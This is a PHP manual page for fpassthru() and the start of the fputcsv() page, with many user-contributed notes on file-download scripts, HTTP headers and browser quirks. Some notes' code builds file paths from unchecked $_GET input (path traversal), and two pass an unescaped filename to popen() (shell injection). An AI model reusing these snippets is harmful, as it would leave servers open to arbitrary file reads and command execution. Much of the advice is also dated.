If you just want to dump the contents of a file to the output buffer, without first modifying it or seeking to a particular offset, you may want to use the readfile(), which saves you the fopen() call.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

Return Values

If an error occurs, fpassthru() returns FALSE. Otherwise, fpassthru() returns the number of characters read from handle and passed through to the output.

Examples

Example #1 Using fpassthru() with binary files

<?php

// open the file in a binary mode
$name = './img/ok.png';
$fp = fopen($name, 'rb');

// send the right headers
header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

// dump the picture and stop the script
fpassthru($fp);
exit;

?>

Notes

Note:

When using fpassthru() on a binary file on Windows systems, you should make sure to open the file in binary mode by appending a b to the mode used in the call to fopen().

You are encouraged to use the b flag when dealing with binary files, even if your system does not require it, so that your scripts will be more portable.

See Also

  • readfile() - Outputs a file
  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

public at telcontar dot net 08-Apr-2007 01:26
(Do not delete this, it is NOT a bug report. It is a *follow up* to vague comments on the page about fpassthru() using excessive memory, and a usage tip that if you want to use pass-through processing, PHP 5 is strongly advised. It may LOOK like a bug report because unlike earlier tips, I've tried to clarify the situation. It is not a bug report because the problem is RESOLVED in PHP 5. Rather, anyone still using PHP 4 (for example, for compatibility reasons) should simply be aware that the problem is now resolved.)

In PHP 4 (4.4.4 tested as a CGI, Apache 2, Linux), use of both fpassthru() and fread() in a loop suffer the SAME memory "leakage". This is characterised by all data that is sent to the client also being kept inside PHP and not released. It would appear to be a failure to garbage collect the data.

In PHP 5 (5.2.1 tested as a CGI, Apache 2, Linux) this flaw is resolved in both cases. Neither fpassthru() nor fread() in a loop "leak" memory during execution.

The issue of which one to use appears not to be an issue of memory as both were equally flawed in PHP 4 and both are equally fixed in PHP 5.

Speed, is left to a reader exercise to test in the latest PHPs.
sarabas at itstudio dot pl 23-Mar-2007 02:55
In case of multiple buffering possibility try running ob_end_clean() from the example below in a loop:

while (@ob_end_clean());

It will help for example in case of automatic gz compression of output.
file downloads verified by session vars 21-Oct-2005 08:36
here is my code, i tried several combinations, but most of them didnt work, and had all kinds of unnecessary headers in them, etc. this has additional good features, such as it stops sending the file if the connection stops (hopefully it does anyways), and it fixes IE filename problems when sending files that contain more than one dot in them by using a simple  preg_replace (IE likes to terminate the filename and messes everything up):

<?
function send_file($path) {
    session_write_close();
    ob_end_clean();
    if (!is_file($path) || connection_status()!=0)
        return(FALSE);

    //to prevent long file from getting cut off from     //max_execution_time

    set_time_limit(0);

    $name=basename($path);

    //filenames in IE containing dots will screw up the
    //filename unless we add this

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
        $name = preg_replace('/\./', '%2e', $name, substr_count($name, '.') - 1);

    //required, or it might try to send the serving     //document instead of the file

    header("Cache-Control: ");
    header("Pragma: ");
    header("Content-Type: application/octet-stream");
    header("Content-Length: " .(string)(filesize($path)) );
    header('Content-Disposition: attachment; filename="'.$name.'"');
    header("Content-Transfer-Encoding: binary\n");

    if($file = fopen($path, 'rb')){
        while( (!feof($file)) && (connection_status()==0) ){
            print(fread($file, 1024*8));
            flush();
        }
        fclose($file);
    }
    return((connection_status()==0) and !connection_aborted());
}

?>
19-Sep-2005 09:12
I've gathered some useful info regarding sessions and large file downloads. I do not take credit for the function, just putting it in one spot for people.

The function:

<?
function send_file($name) {
    ob_end_clean();
    $path = "/directory/path/".$name;
    if (!is_file($path) or connection_status()!=0) return(FALSE);
    header("Cache-Control: no-store, no-cache, must-revalidate");
    header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");
    header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
    header("Content-Type: application/octet-stream");
    header("Content-Length: ".(string)(filesize($path)));
    header("Content-Disposition: inline; filename=$name");
    header("Content-Transfer-Encoding: binary\n");
    if ($file = fopen($path, 'rb')) {
        while(!feof($file) and (connection_status()==0)) {
            print(fread($file, 1024*8));
            flush();
        }
        fclose($file);
    }
    return((connection_status()==0) and !connection_aborted());
}
?>

And now how to use it...

<?php
session_start();

//Validate the user
if($_SESSION[login] == 1){

    //Close the session to allow for header() to be sent
    session_write_close();

    if(!send_file("testfile.zip")) {
        die ("file transfer failed");
    } else {
        //Log the download
    }
}else{
    echo "Not logged in";
}
?>

This lets a user download a file while still being able to browse your site.
jonathan at corporacionlinux dot cl 05-Aug-2005 08:58
While trying to "passthru" a file to the browser via PHP, but using the FEOF loop, the script tried to buffer the entire file before passing it to the browser. This is my original script. When calling it with a 15M PHP memory limit and a 16M file, apache killed the script.

<?php
    $name = $tempDir . $_GET["file"];
    $fd = fopen($name, 'rb');

    if($fd == false)

        die("<font color=red>ERROR: File not found.</font>");

    // send the right headers
    header("Cache-Control: ");// leave blank to avoid IE errors
    header("Pragma: ");// leave blank to avoid IE errors
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"" . $_GET["file"] . "\"");
    header("Content-length:".(string)(filesize($name)));
    sleep(1);

    session_write_close();
    ob_flush();
    flush();

         while(!feof($fd)) {

               $buffer = fread($fd, 2048);
               print $buffer;
         }

         fclose ($fd);
         exit;
?>

Apache error log read:
Allowed memory size of 15728640 bytes exhausted (tried to allocate 10240 bytes)

I tried everything, including a flush() inside the loop. But the solution was forcing the flush other way:

<?php

    $buffer = fread($fd, 32 * 1024);

?>

voila... works just fine for me.
herbert dot fischer at NOSPAM dot gmail dot com 21-Jul-2005 08:08
readfile and fpassthru are about 55% slower than doing a loop with "feof/echo fread".

I did an apache benchmark on Linux using PHP to read-and-show a 4MB JPG on browser and here are the results:

* Concurrency Level: 200
* Complete requests: 1000
* Document Length: 4646204 bytes
* Requests per second:
           - direct request to JPG: 72.07
           - fpassthru: 11.28
           - fread: 20.33
           - readfile: 11.84

* Concurrency Level: 200
* Complete requests: 1000
* Document Length: 4646204 bytes
* Requests per second:
           - direct request to JPG: 64.44
           - fpassthru: 6.84
           - fread: 19.45
           - readfile: 8.76

If reading thru PHP is needed, I suggest using fread. If you can bypass PHP and do direct linking, than it's prefered.
eamonn at easywebdev.com 04-Feb-2005 05:18
I was creating an application to download software products in zip, tar.gz and tar.bz2 formats using fpassthru and whilst the downloads functioned the resulting files were all corrupted.

I traced this down to zlib.output_compression being turned on.
If you exerience this then add ini_set("zlib.output_compression", "Off"); just before you send your headers.
webmaster at hardcorehoneyz dot com 16-Dec-2004 05:20
In relation to using sessions and fpassthru together.

Try adding: session_write_close()

somewhere near the top of the download script, before you start sending the video, and that should take care of it.

I've implemented and tested session_write_close() and it works like a dream. Other links can now be clicked and loaded whilst a big file is being passed using fpassthru.

Big thanks to Greg for this tip. What a helpful community we live in :0)
webmaster at hardcorehoneyz dot com 06-Dec-2004 05:33
I believe the following problem is a result of using sessions and fpassthru together.

I have a subscription based site which protects large video files (WMV format between 100-120MB) by storing them beneath web root. Downloading a video file requires the user to click a HTML link which requests a PHP script e.g. download-video.php?video_id=123. If the user is valid (session vars created from sucessful login) the script then creates the necessary headers to trigger a 'Save As' download box, opens the file from beneath web root and sends it using fpassthru.

The problem is as follows:

The user should be able to click other links on the site whilst a file is downloading. But when they do so, the requested page won't load until the download is complete.

As this download script is a seperate PHP request, the user should be able to load other pages on the site whilst the file is downloading.

At time of writing, I've tried almost everything to remove this bug. There must be a problem with using a PHP script rather than a direct web server link to download files.
lbaudrillard at hotmail dot com 15-Nov-2004 12:45
The way the PHP page is generated (buffered or not, and how if buffered) has an impact of the download function made using fpassthru (or fread, ...). I mean a download function may work just fine when it is called from a simple php file (no buffering here):

<?php
    function download($file) { ... }

    $filename = "/tmp/test.zip";
    download($filename);
?>

but may fails "in the real life" when the page is buffered:

<?php
    ob_start("ob_gzhandler");
    ...
    require_once(download.php);
    ...
    $filename = "/files/file.zip";
    download($filename);
?>

In my particular case, only Firefox 1.0 English did not perform the download, because of the ob_start("ob_gzhandler"). Replacing it by ob_start() solved the problem.

Hope that helps
Laurent from Paris, France
phpnet at -remove-me-uchange dot co dot uk 03-Nov-2004 05:11
I've modified the example given by straz at -removethispart-mac dot com to count each byte of the file out.  This can then be compared with the filesize once the file sending is complete to determine whether the file was sent succesfully or not.

Of course, this doesn't guarantee that the user actually recieved the file successfully though will let us know if something goes wrong half way through reading/sending the file at our end.

<?
/* fpassthru is apparantly a memory-hog. Use this instead */
    while(!feof($fp)) {
        $buf = fread($fp, 4096);
        echo $buf;
        $bytesSent+=strlen($buf);    /* We know how many bytes were sent to the user */
    }
?>

I've then got this code to update my database to say that the file was downloaded successfully.

<?
    if($bytesSent==filesize($file)) {
        /* Do some cool stuff here! */
    }
?>
nexz2004 at yahoo dot com 21-May-2004 12:30
also it is possible to make your php script resume downloads, to do this you need to check $_SERVER['HTTP_RANGE'] which may contain something like this
 "bytes=10-" - resume from position 10, and to end of file

when sending response it is also needed to send with headers
Accept-Ranges: bytes
Content-Length: {filesize}
Content-Range: bytes 10-{filesize-1}/{ffilesize}

hope its usefull
axx at axxess dot ca 15-Feb-2004 01:04
I have also perused this list of examples which I am sure work for that person, but, as others have mentioned here, do not work for me or (anyone else).

So what I did was try out all of these examples, check other sources of information, and put together what I think to be an example of what works on 'more than a few' systems.  The following example works for me wherever I need to create a download using fpassthru(), which works with IE6 (among other browsers):

<?
/*/
Download a file using fpassthru()
/*/
$fileDir = "/home/pathto/myfiles"; // supply a path name.
$fileName = "myfile.zip"; // supply a file name.
$fileString=$fileDir.'/'.$fileName; // combine the path and file
// translate file name properly for Internet Explorer.
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")){
  $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
}
// make sure the file exists before sending headers
if(!$fdl=@fopen($fileString,'r')){
    die("Cannot Open File!");
} else {
  header("Cache-Control: ");// leave blank to avoid IE errors
  header("Pragma: ");// leave blank to avoid IE errors
  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"".$fileName."\"");
  header("Content-length:".(string)(filesize($fileString)));
    sleep(1);
    fpassthru($fdl);
}
?>

All that should require editing is the $fileDir and $fileName variables.  Upload the file and point to it with your browser to see if the script will prompt you for a download.

NOTE : Regarding File Types : Leaving the 'Content-type' header as-is should allow you to download pretty much any file.  I have tested it on some of the more popular file types including zip, css, php, inc, htm, png, gif and jpg.  During these tests, I did note that if I selected 'cancel' or 'open' when prompted to download either a gif or jpg, that it would indeed cancel or open in my image browser as it should, but subsequent attempts at 'downloading only' yielded a web page view of the image.  Closing the window and opening a new one reset this, allowing me save a jpeg or gif to the hard drive directly.  I believe the problem lies in the way the caching headers are treated, since if any info is specified in the 'cache-control' header, the browser download fails completely (in IE, anyways).

Enjoy! Mail me if it works!  ;-)
mm at tbwachiat dot com 16-Jan-2004 05:00
I've tried all of these renditions of this elusive task.  NONE of them have worked for me.  And when i say work, i mean where i can click some sort of link and have a file Save As... dialog box come up on MSIE 6.0.  In every other browser i've tried (Safari,Firebird,Netscape pc and mac) all have worked where it downloads to my desktop or asks me to save it in a certain place.

on MSIE 6.0.  the file i'm trying to download appears in it's own window. it's an image. BUT, the only thing i can do with it is SAVE IT AS A BMP. ugh.

I'm using the fpassthru function because i have files that must not be served by the webserver.
The Otter 10-Jan-2004 09:57
In reply to spam at flatwan dot net
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

The best way to do this would to be:
<?php
@ignore_user_abort();
@set_time_limit(0);
?>
This only changes these settings for the script that calls them. (Thanks to (I don't remember who) who wrote a form mail script that used these two lines)
spam at flatwan dot net 18-Nov-2003 04:07
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

Jon
arabold AT nero DOT com 15-May-2003 04:11
Here's a summary the different headers you need to set to make downloads *always* work with IE and Mozilla:

[SNIP]
  $disposition = "inline"; // "inline" to view file in browser or "attachment" to download to hard disk
  $mime = "image/jpeg"; // or whatever the mime type is
  $name = "foo.jpg"; // file name
  $path = "/path/to/foo.jpg"; // full path and file name

  if (isset($_SERVER["HTTPS"])) {
      /**
       * We need to set the following headers to make downloads work using IE in HTTPS mode.
       */
      header("Pragma: ");
      header("Cache-Control: ");
      header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
      header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
      header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
      header("Cache-Control: post-check=0, pre-check=0", false);
  }
      else if ($disposition == "attachment") {
          header("Cache-control: private");
  }
  else {
      header("Cache-Control: no-cache, must-revalidate");
      header("Pragma: no-cache");
  }
  header("Content-Type: $mime");
  header("Content-Disposition:$disposition; filename=\"".trim(htmlentities($name))."\"");
  header("Content-Description: ".trim(htmlentities($name)));
  header("Content-Length: ".(string)(filesize($path)));
  header("Connection: close");
[/SNIP]

This way all kinds of download work for me. Hope that helps
DarkAngela_ at hotmail dot com 08-May-2003 04:48
Just a little thing more from the ssharma's script (thx to him for his great help ...) :

Don't forget to put the fopen with the "rb" argument and not just with the "r"
or you won't be able to make the script work with all pdf file.

My final script (working for Open and Save on a 1.9 Mb complex PDF file) :

<?php
//The filename is stored in the $produitFilename variable in my script (the only thing you need)

// You need to specify the REAL path for your file and not the URL
$fullPath    = getcwd()."./directory_where_the_file_is/".$produitFilename;

if ($fd = fopen ($fullPath, "rb")) {
    $fsize    =filesize($fullPath);
    $fname     = basename ($fullPath);

    header("Pragma: ");
    header("Cache-Control: ");
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$fname."\"");
    header("Content-length: $fsize");

    fpassthru($fd);
}
?>

Have fun and thx u all 4 ur great help ...

Simon (from Paris - France)
Omega2k at web dot de 27-Mar-2003 05:07
To throttle download-speed of specific files this works fine in my board hosted on my local machine:

//#######################################
 $big_file=filesize($completeFilePath)/1024; //size of file in kb
 header('Content-Type: '.$mime_type);
 header('Content-disposition: '.$content_disp.'filename="'.$attachment_name.'"');
 header('Cache-Control: no-cache');
 header('Pragma: no-cache');
 header('Expires: 0');
 header('Content-Length: '.(string)(filesize($completeFilePath)));
 $fp=fopen($completeFilePath,'r');
 while(!feof($fp)) {
     $buffer = fread($fp, 1024*6); //speed-limit 6kb/s
     if ($big_file>32 &&
     $extension!="jpg" &&
     $extension!="jpeg" &&
     $extension!="gif" &&
     $extension!="png" &&
     $extension!="txt")
     sleep(1); //if filesize>32kb and no smallfile like jpg,gif or so - wait 1 second
     print $buffer;
 }
 fclose($fp);
 header ("Connection: close");
//#######################################

I think it's the easiest way to slow down downloading files without using a loop or for-next - this really saves performace of php and is quite exact by using 1024*number_of_kb in one second...

Thats all

Greetings, omega2k.dynu.com
brett at NOSPAM dot brettbrewer dot com 04-Feb-2003 02:49
The above method worked for me after trying everything else imaginable to get Explorer to download a file via PHP. However, I had to change the content-length line. No need to "stringify" the $size variable as in the above post. The method below works for both small and very large file (tested on files larger than 30MB with no probs)...

<?php
$distribution="/path/to/a/file.exe"
if ($fd = fopen ($distribution, "r")){

          $size=filesize($distribution);
          $fname = basename ($distribution);

//This is some really weak code I used just to redirect to the file before I fixed
//this problem...it makes the browser handle the download via Apache instead of PHP
//but it would be really easy to then find out the true location of the file

               //header("Location: $distribution");
             //fclose ($fd);
             //exit;

//below is a much better way to do it...

     header("Pragma: ");
      header("Cache-Control: ");
     header("Content-type: application/octet-stream");
      header("Content-Disposition: attachment; filename=\"".$fname."\"");
      header("Content-length: $size");

          while(!feof($fd)) {
               $buffer = fread($fd, 2048);
               print $buffer;
          }
          fclose ($fd);
          exit;
}
?>

Good luck.
Brett Brewer.
ssharma at remove_me dot odc dot net 12-Dec-2002 06:01
I was having a hard time getting IE to download stuff through an ssl (https) link.  I finally found a bug report that said you need to clear out the Pragma and Cache-Control headers or else it won't send.  Here's the important part of my download script.

$contentType='application/octet-stream';
header("Pragma: ");
header("Cache-Control: ");
header("Content-type: $contentType");
header("Content-Disposition: attachment; filename=\"".$filename."\"");
header("Content-length:".(string)(filesize($fullfilepath)));

$fd=fopen($fullfilepath,'r');
fpassthru($fd);

This works perfectly over http and https in both Mozilla and IE6.  Obviously $filename just has the name of the file and $fullfilepath has the complete file system path to the file.
weezernation dot com 09-Dec-2002 08:56
When using readfile()  -or fopen() and fpassthru() - make sure that if you are dealing with large files that are located on your server, use absolute paths and not URL's! Otherwise, the file will essentially be downloaded twice - the script will access the file from your web server itself, and then output it to the client, doubling the bandwidth. I made this mistake in a download script I made that included files on other servers, when the file was on mine, I forgot to use absolute paths. So, even for good practice if your files you're accessing are small, use absolute paths whenever possible. Seems obvious, but don't forget about it.
shaun at nospam dot phplabs dot com 29-Nov-2002 04:41
Note that if you use these two headers from a previous example:

header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');

before sending a file to the browser, the "Open" option on Internet Explorer's file download dialog will not work properly. If the user clicks "Open" instead of "Save," the target application will open an empty file, because the downloaded file was not cached. The user will have to save the file to their hard drive in order to use it.

Make sure to leave these headers out if you'd like your visitors to be able to use IE's "Open" option.
john at bvstudios dot com 21-Nov-2002 12:05
In reply to:

"3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers."

I recently had the exact same issue.  What I found is that this was due to my session initialization on the page.  For some reason doing a session_start() caused the script to try and download itself, not what I was indicating through various header() calls.

The solution was to move the download portion above the session initialization.  At first glance this may seem dangerous, but I only process it if there are POST vars and the script is reloading itself.  This way I know the form was submitted by that page and before they can submit it, they have to have a session!  Adding an .htaccess rule to deny all for the directory where the files are stored also helps because then only my script can access the files.
mikek at nospam dot muonics dot c o m 05-Nov-2002 02:07
Found a workaround to another headache that just cropped up tonight.  Apparently Opera 6.1 on Linux (unsure of other versions/platforms) has problems downloading files using the above methods if you have enabled compression via zlib.output_compression in php.ini.

It seems that Opera sees that the actual transfer size is less than the size in the "Content-length" header for the download and decides that the transfer was incomplete or corrupted.  It then either continuously retries the download or else leaves you with a corrupted file.

Solution:  Make sure your download script/section is off in its own directory. and add the following to your .htaccess file for that directory:

php_flag zlib.output_compression off
claude_minette at hotmail dot com 30-Oct-2002 03:51
This code works fine with a download manager... maybe not the best solution, but the only one that works with IE!!!!!

It forces download, but gif file don't want to be downloaded!!! so I need to simply display them in browser...

NB $file is the result of a query on the file table...

require_once("auth.inc.php");
$attachment = (strstr($HTTP_USER_AGENT, "MSIE")) ? "" : " attachment"; // IE 5.5 fix.
//Content of file
if (!headers_sent()){
   $ficexp=explode('.',$file["orig_name"]);
   $ext=$ficexp[sizeof($ficexp)-1];
   if ($ext!='gif'){
           header('Cache-Control: no-cache, must-revalidate');
           header('Pragma: no-cache');
           header("Content-Type: application/force-download");
           header("Content-Length: ".filesize("files/".$file["save_name"]));
           header("Content-Disposition: ".$attachment."; filename=".$file["orig_name"]);
   }
   $fn=fopen("files/".$file["save_name"], "rb");
   fpassthru($fn);
}
else {
    MessageBox('Headers already sent, cannot force download!');
}

Min's
mikek at muonics dot nospam dot c dot o 07-Oct-2002 03:44
Found a workaround for the MSIE cache bug that puts brackets around dotted items I posted about a while back (e.g. "somefile1.0-xyz.zip" becoming "somefile[1][0]-xyz.zip").

It turns out if you encode all but the last dot as %2e, then MSIE won't do this.  If you encode all of them (including the last dot), then MSIE sticks an extra bracketed number at the end of the file (e.g. "somefile1.0-xyz.zip[1]").  Unfortunately, however, some other browsers then want to save the file with the %2e in the filename instead of the dots.

if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
{
    $fileName = preg_replace('/\./', '%2e', $fileName,
        substr_count($fileName, '.') - 1);
}

Viola.  Properly named files.  This works at least with MSIE 6.0.
mikek at muonics dot nospam dot c dot o 04-Oct-2002 08:48
If your downloaded files are getting corrupted, one of the scripts included/required in your download script or page may have whitespace around the <?php ?> tags.  A common enough problem, but most often recognized when header() fails, due to headers already being sent, but one worth mention here.

This one bit me just recently with my download script.  Somewhere along the way adding functionality to my website, I wound up with a space (not a blank line, which I usually spot right away, but a single space character) after the closing ?> tag in one of the require()'d files.  Oddly enough, all the downloads seemed to work ok, but the files were corrupted: that space character wound up at the beginning of each file.
mikek at muonics dot nospam dot c dot o dot m 16-Sep-2002 07:07
Replies to the above (10-Sep-2002 05:38 and 10-Sep-2002 06:17) anon posts:

10-Sep-2002 05:38 -- Using temporary redirects in the manner you describe only work if you have the files in a location which are directly accessible by a regular HTTP request (temporarily or not).  This isn't an effective solution for me, because it is a specific requirement of my implementation that certain files are accessible only through PHP: user permissions for downloading files are handled via PHP and a user/license database instead of traditional .htaccess methods.  In the past (before PHP) I used CGI scripts to create temporary per-downloader symlinks to the files and generated .htaccess files, along with htpasswd/group files, but it was a sloppy method because the symlinks would linger (or be deleted prematurely), and wasn't conducive to online order processing etc.  This method (via fpassthru()) is much better: there is no direct access to any file, by design.

10-Sep-2002 06:17 - My implementation does set the Content-Length header.  It does not help.  Some browsers' download dialogs still linger for 15-30 seconds after the download is complete, leading some users to think the download has stalled and to reinitiate it.  In those browsers where this has been a problem and I've tested it, the "Connection: close" header has worked great.  It's not abused: the download manager implementation is such that the header is sent only for HTTP requests that directly result in the download occuring.  It might be worthwhile investigating whether or not there is a php hook into the server's watchdog timer so that it can be set on a per-script basis and use that; but setting it to a low value globally seems just as bad as sending "Connection: close" for every page would be.
10-Sep-2002 05:17
Note that the above comment about the "Connection: close" header is incorrect: it does not guarantee that the connection will be closed immediately after the transfer is complete. Instead, it informs the client that it can no longer use the existing HTTP connection to perform other HTTP requests on the same server, and that the client MUST close the connection as soon as it has finished handling the current request.

If the client (for example an old HTTP proxy) is using HTTP/1.0, it may not recognize this header, and could could the connection open; the web server should detect this and close the connection and ignore any further request attempt on that connection.

HTTP/1.1 clients MUST honor this header and close their connection as soon as they detect the end of the answer.

In any case, the web server will initiate a watchdog after script completion, and will force the deconnection after about 15 to 30 seconds if the client does not honor this header.

The exact time to wait for the "socket closed by remote" event is configurable in the web server.

It is generally smaller when the "Connection: close" header has been sent by the server, than when no "Connection:close" has been sent (in which case the connection persists for longer time, to let the client navigate on the server without enduring new connection costs in terms of: connection delays, number of socket control blocks in final wait state, number of used ports).

Don't abuse "Connection: close" on your server for every hosted page: this creates more incoming TCP connection attempts than necessary, and slows the navigation on your site. Use it only if your script cannot generate explicit content length in the result header, as the client will have difficulties to determine the end of the results.

If you want to save connection resources to your server, always send an Explicit "Content-Length" header within your script, or use the "chunked" transfer-encoding to explicitly send the result by delimited fragments (if the client is using HTTP/1.1, it MUST support this chunked transfer encoding, per specification). See RFC2616 for details.
10-Sep-2002 04:38
fpassthru() works best for small files. In download manager scripts, it's best to determine the URL of the file to download (you may generate it locally in your session data if you need so), and then use HTTP __temporary__ redirects (302 status code, with a "Location:" header specifying the effective download URL).

This saves your web server from maintaining PHP scripts running for long times during the file downloadn and instead the download will be managed directly by the web server without scripting support (consequence: less memory resources used by parallel downloads)...
me at gavinadams dot org 29-Aug-2002 07:06
Interesting results using fpassthru() vs. fread() under UNIX.

Using fread(fp, length) to read from a valid, open pointer, in which the filename has a special character (single quote, comma, open paren, etc) fails on the read (no debug statements written after that). However, using fpassthru() works like a champ.

Thanks for the helpful notes on IE session info, have seen this before but didn't know what was causing it.
mikek at muonics dot nospam dot c dot o dot m 24-Aug-2002 09:14
A few notes on using fpassthru() to php-driven download links that pop up a "Save As.." dialog:

1. I found that the download progress dialog was remaining up for several seconds after the transfer was completed, before telling the user it was complete.  This was fixed by adding the following header:

header ("Connection: close");

This will cause the connection to be closed as soon as the transfer is complete, rather than waiting for a timeout.

2. If you have multiple periods in the filename, you might wind up with a filename with numbers in brackets (such as myfile-[1][0]-windows.zip when you put myfile-1.0-windows.zip in the headers) with MSIE.  According to Microsoft's KB, his is a "known" bug having to due with MSIE's cache and there's no workaround that I was able to find.

3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers.
- 24-Jul-2002 04:37
If you trying to output a user-written file on a page for verifying, editing, etc, you'll want to use fopen(), fread(), htmlentities() to avoid malicious code. Text from fpassthru, while not parsed per se can still mess up the display of a page (or at least it did for me!) --mt.
josh at trutwins dot homeip dot net 23-Apr-2002 05:03
I could not get the above examples to work.  This is what I used instead:

header("Content-Disposition: attachment; filename=$file");
header("Content-Description: Image File");
$fd = fopen($file,'r');
fpassthru($fd);
php at brayra dot com 04-Apr-2002 12:25
Here is a final working copy that won't freak out Microsoft Explorer if you are using sessions. Thanks to everyone else who came before. This is not as simple as I thought it would be.

the user would pass a call to the page:
http://mysite/getfile.php?file=products.pdf

include 'base.inc'; // inlcude base code, start session  and manage users

// This loads the file global from the post/get variables
// For security reasons register globals is disabled
LoadPostGet('file');

$filename = '/data/files/' . $file;
if(file_exists($filename)){
  $FILECMD = '/usr/bin/file';
  $contentType = '';
  $fp=popen("$FILECMD -bin $filename", 'r');
  if (!$fp) $contentType='application/octet-stream';
  else {
    while($string=fgets($fp, 1024)) $contentType .= $string;
    pclose($fp);
  }
  if(strpos($HTTP_SERVER_VARS['HTTP_USER_AGENT'], 'MSIE')){
    // IE cannot download from sessions without a cache
    header('Cache-Control: public');
  }
  header("Content-type: $contentType");
  header("Content-Disposition:inline; filename=\"".$file."\"");
  header("Content-length:".(string)(filesize($filename)));
  $fd=fopen($filename,'rb');
  while(!feof($fd)) {
    print fread($fd, 4096);
  }
  fclose($fd);
}else{
  print "File Not Found";
}
mirko at mcaserta dot com 23-Jan-2002 05:07
Update to the above. This also sets the correct mime type for the file you're sending. It's a small hack since it relies on the "file" system command but it should work well.

<?
// full path to the file command
$FILECMD='/usr/bin/file';
// directory where the file resides
$fileDir='/home/mcaserta';
// full file name
$fileName='test.sh';

// END CONFIG

$completeFilePath=$fileDir.'/'.$fileName;
$fp=popen("$FILECMD -bin $completeFilePath", 'r');

if (! $fp) $contentType='application/octet-stream';
else {
  while($string=fgets($fp, 1024)) $contentType .= $string;
  pclose($fp);
}

header('Content-type: '.($contentType));
header('Content-Disposition: inline; filename="'.($fileName).'"');
header('Content-length: '.(string)(filesize($completeFilePath)));
$fd=fopen($completeFilePath,'r');
fpassthru($fd);
?>
straz at -removethispart-mac dot com 15-Jan-2002 12:22
I wrote a page which authenticates the user, then calls fpassthru() to download an Acrobat document. It worked great up to about 1MB, but for larger files, the script was dying in the middle. My ISP told me they were killing my script because it was a memory hog. I tried readfile() instead, to no avail.

I replaced the fpassthru() with this workaround. It works great:

 while(!feof($fn)) {
   $buffer = fread($fn, 4096);
   print $buffer;
 }
cgriffin at websales dot com 30-Oct-1999 04:56
If you open a new file, write to it and then call fpassthru() it doesn't work. You need to call rewind() first to set the file pointer to the begining of the file.
fopen
fputcsv
Filesystem Functions


Format line as CSV and write to file pointer

fpassthru
fputs
Filesystem Functions
PHP Manual

fputcsv

(PHP 5 >= 5.1.0)

fputcsv — Format line as CSV and write to file pointer

Description

int fputcsv ( resource $handle , array $fields [, string $delimiter = ',' [, string $enclosure = '"' ]] )

fputcsv() formats a line (passed as a fields array) as CSV and write it (terminated by a newline) to the specified file handle.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

fields

An array of values.

delimiter

The optional delimiter parameter sets the field delimiter (one character only).

enclosure

The optional enclosure parameter sets the field enclosure (one character only).

Return Values

Returns the length of the written string or FALSE on failure.

Examples

Example #1 fputcsv() example

<?php

$list = array (
    array('aaa', 'bbb', 'ccc', 'dddd'),
    array('123', '456', '789'),
    array('"aaa"', '"bbb"')
);

$fp = fopen('file.csv', 'w');

foreach ($list as $fields) {
    fputcsv($fp, $fields);
}

fclose($fp);
?>

The above example will write the following to file.csv:

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

Notes

Note: If PHP is not properly recognizing the line endings when reading files either on or created by a Macintosh computer, enabling the auto_detect_line_endings run-time configuration option may help resolve the problem.

See Also

  • fgetcsv() - Gets line from file pointer and parse for CSV fields

User Contributed Notes

David Thomas 20-Nov-2011 06:17
Output XML string as CSV with first row as column headers:

<?php

    // In this case XML is
    // <records>
    //  <record>...</record>
    //  <record>...</record>
    // </records>

  if($xml = simplexml_load_string($string)){
    // Keep up to 12MB in memory, if becomes bigger write to temp file
    $file = fopen('php://temp/maxmemory:'. (12*1024*1024), 'r+');
    if($row = get_object_vars($xml->record[0])){ // First record
      // First row contains column header values
      foreach($row as $key => $value){
        $header[] = $key;
      }
      fputcsv($file, $header,',','"');
      foreach ($xml->record as $record) {
        fputcsv($file, get_object_vars($record),',','"');
      }
      rewind($file);
      $output = stream_get_contents($file);
      fclose($file);
      return $output;
    }else{
      return '';
    }
  }

?>
